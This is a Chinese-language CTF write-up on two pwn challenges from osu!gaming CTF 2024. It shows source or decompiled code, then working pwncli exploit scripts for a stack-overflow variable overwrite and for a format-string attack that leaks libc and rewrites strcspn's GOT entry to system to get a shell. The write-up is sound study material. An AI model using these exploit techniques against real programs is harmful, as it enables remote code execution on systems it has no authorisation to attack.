前言
比赛总共4个pwn,做了2个,剩下1个没看,1个没懂
pwn - betterthanu
题目分析
给出了源码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
FILE *flag_file;
char flag[100];
int main(void) {
unsigned int pp;
unsigned long my_pp;
char buf[16];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("How much pp did you get? ");
fgets(buf, 100, stdin);
pp = atoi(buf);
my_pp = pp + 1;
printf("Any last words?\n");
fgets(buf, 100, stdin);
if (pp <= my_pp) {
printf("Ha! I got %d\n", my_pp);
printf("Maybe you'll beat me next time\n");
} else {
printf("What??? how did you beat me??\n");
printf("Hmm... I'll consider giving you the flag\n");
if (pp == 727) {
printf("Wait, you got %d pp?\n", pp);
printf("You can't possibly be an NPC! Here, have the flag: ");
flag_file = fopen("flag.txt", "r");
fgets(flag, sizeof(flag), flag_file);
printf("%s\n", flag);
} else {
printf("Just kidding!\n");
}
}
return 0;
}
核心点,栈溢出变量覆盖:
my_pp = pp + 1;
printf("Any last words?\n");
fgets(buf, 100, stdin);
if (pp <= my_pp) {
这里my_pp一定是大于pp的,所以进不去下面的else分支,else分支提供flag,这里提供了个读取输入,存在缓冲区溢出问题,溢出后刚好覆盖my_pp的值
exp:
#!/usr/bin/env python3
# Date: 2024-03-02 13:50:23
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
sla(b"How much pp did you get? ", b"727")
sa(b"Any last words?\n",p64(1)*2)
ia()
flag:
What??? how did you beat me??
Hmm... I'll consider giving you the flag
Wait, you got 727 pp?
You can't possibly be an NPC! Here, have the flag: osu{i_cant_believe_i_saw_it}
pwn - miss-analyzer
题目分析
miss-analyzer ➤ checksec analyzer
[*] '/mnt/c/Users/selph/Desktop/osu!gamingCTF2024/miss-analyzer/analyzer'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
int __fastcall main(int argc, const char **argv, const char **envp)
{
char *v3; // rbx
char abyte; // [rsp+15h] [rbp-14Bh]
__int16 v6; // [rsp+16h] [rbp-14Ah]
char *lineptr; // [rsp+18h] [rbp-148h] BYREF
size_t n; // [rsp+20h] [rbp-140h] BYREF
void *ptr; // [rsp+28h] [rbp-138h] BYREF
size_t len; // [rsp+30h] [rbp-130h] BYREF
void *input_ptr; // [rsp+38h] [rbp-128h] BYREF
char format[264]; // [rsp+40h] [rbp-120h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-18h]
v13 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( 1 )
{
puts("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):");
lineptr = 0LL;
n = 0LL;
if ( getline(&lineptr, &n, stdin) <= 0 )
break;
v3 = lineptr;
v3[strcspn(lineptr, "\n")] = 0;
if ( !*lineptr )
break;
len = hexs2bin(lineptr, &ptr); // 将输入变成十六进制,例如"0A"变成0x0A保存起来
input_ptr = ptr;
if ( !len )
{
puts("Error: failed to decode hex"); // 输入一定是十六进制用到的字符,且数量为双数
return 1;
}
puts("\n=~= miss-analyzer =~=");
abyte = read_byte(&input_ptr, &len); // get one bytes
if ( abyte )
{
switch ( abyte )
{
case 1:
puts("Mode: osu!taiko");
break;
case 2:
puts("Mode: osu!catch");
break;
case 3:
puts("Mode: osu!mania");
break;
}
}
else
{
puts("Mode: osu!");
}
consume_bytes(&input_ptr, &len, 4LL);
read_string(&input_ptr, &len, format, 255LL);
printf("Hash: %s\n", format);
read_string(&input_ptr, &len, format, 255LL);
printf("Player name: ");
printf(format); // 格式化字符串漏洞!
putchar(10);
read_string(&input_ptr, &len, format, 255LL);
consume_bytes(&input_ptr, &len, 10LL);
v6 = read_short(&input_ptr, &len);
printf("Miss count: %d\n", (unsigned int)v6);
if ( v6 )
puts("Yep, looks like you missed.");
else
puts("You didn't miss!");
puts("=~=~=~=~=~=~=~=~=~=~=\n");
free(lineptr);
free(ptr);
}
return 0;
}
一眼格式化字符串漏洞,这个题的难点不在格式化字符串的利用,而在于逆向这个输入格式
接收的数据转换成十六进制,然后逐字节进行判断操作
例如第一个字节用来打印内容:
abyte = read_byte(&input_ptr, &len); // get one bytes
if ( abyte )
{
switch ( abyte )
{
case 1:
puts("Mode: osu!taiko");
break;
case 2:
puts("Mode: osu!catch");
break;
case 3:
puts("Mode: osu!mania");
break;
}
}
else
{
puts("Mode: osu!");
}
具体是什么根本无所谓
然后是consume_bytes函数:
__int64 __fastcall consume_bytes(_QWORD *a1, _QWORD *a2, int a3)
{
__int64 result; // rax
unsigned int i; // [rsp+2Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( (int)i >= a3 )
break;
read_byte(a1, a2);
}
return result;
}
单纯的读这么几个字节,但是没有拿去用,就是跳过几个字节的意思,a3就是跳过的字节数
然后是read_string函数:
_BYTE *__fastcall read_string(_QWORD *a1, _QWORD *a2, _BYTE *a3, unsigned int a4)
{
_BYTE *result; // rax
char byte; // al
unsigned int v6; // edx
unsigned int v7; // eax
unsigned int v10; // [rsp+24h] [rbp-1Ch]
char i; // [rsp+28h] [rbp-18h]
unsigned int j; // [rsp+2Ch] [rbp-14h]
*a3 = 0;
result = (_BYTE *)read_byte(a1, a2);
if ( (_BYTE)result )
{
if ( (_BYTE)result != 0xB ) // 第一个读到的字节需要是0b
{
puts("Error: failed to read string");
exit(1);
}
v10 = 0;
for ( i = 0; ; i += 7 )
{
byte = read_byte(a1, a2); // 下一个字节的含义是大小
v10 |= (byte & 0x7F) << i;
if ( byte >= 0 )
break;
}
for ( j = 0; ; ++j )
{
v6 = a4;
if ( a4 > v10 )
v6 = v10; // 这里用刚刚读到的大小来继续读入字节数
if ( v6 <= j )
break;
a3[j] = read_byte(a1, a2);
}
while ( v10 > j )
{
read_byte(a1, a2);
++j;
}
v7 = v10;
if ( a4 <= v10 )
v7 = a4;
result = &a3[v7];
*result = 0;
}
return result;
}
这个函数首先读取一个标志0x0b,然后读大小size,接下来根据大小读取指定字节数
总共就这么几个函数在操作字节,根据操作流程构造数据就行
利用分析
格式化字符串的缓冲区长度既然可控且可以设置很大,那就能一次性完成目标地址的写入,
程序的编译选项是格式化字符串题目常见的一种,Partial RELRO+No PIE
那么,攻击目标就可以是got表的strcspn函数,因为可以修改为system函数,这个函数接收的第一个参数是一个指向用户输入的指针,用户可以输入/bin/sh
等命令来执行
if ( getline(&lineptr, &n, stdin) <= 0 )
break;
v3 = lineptr;
v3[strcspn(lineptr, "\n")] = 0;
exp:
#!/usr/bin/env python3
# Date: 2024-03-02 13:58:13
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
cli_script()
set_remote_libc('libc.so.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
def read_string(s:str):
size = (hex(len(s))[2:].rjust(2,"0")).encode('utf-8')
data = bytes(s,'utf-8').hex().encode()
success(f"{size} + {data}")
return b"0b"+size+data
def consume_bytes(nb:int)->bytes:
return b"55"*nb
def input_1(payload):
if type(payload) == bytes:
payload = payload.decode()
payload_ =consume_bytes(5)
payload_ +=read_string("11112222")
payload_ +=read_string(payload)
payload_ +=read_string("ohh good")
payload_ +=consume_bytes(10+2)
print(payload_)
sla(b"Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):\n",payload_)
ru(b"Player name: ")
return rl()[:-1]
#res = [input_1(f"%{i}$p") for i in range(20)]
#input_1("666666")
#for i in res:
# warning(f"{i}")
# 获取地址泄露
# %3$p libc + 0x114887
leaklibc = input_1("%3$p")
leaklibc = int(leaklibc,16)
libc.address = leaklibc - 0x114887
success(f"libc base => {hex(libc.address)}")
auto = FmtStr(input_1,offset=14)
# [*] Found format string offset: 14
one = pack(libc.address + 0xebc81)
auto.write(elf.got['strcspn'],libc.sym.system)
auto.execute_writes()
sl(b"/bin/sh")
ia()
总结
唯一的收获是,看格式化字符串题的时候要注意,把输入格式化字符串的函数构造出来,不要怕麻烦
待办+1:回头总结整理一下各种情况下的格式化字符串的攻击目标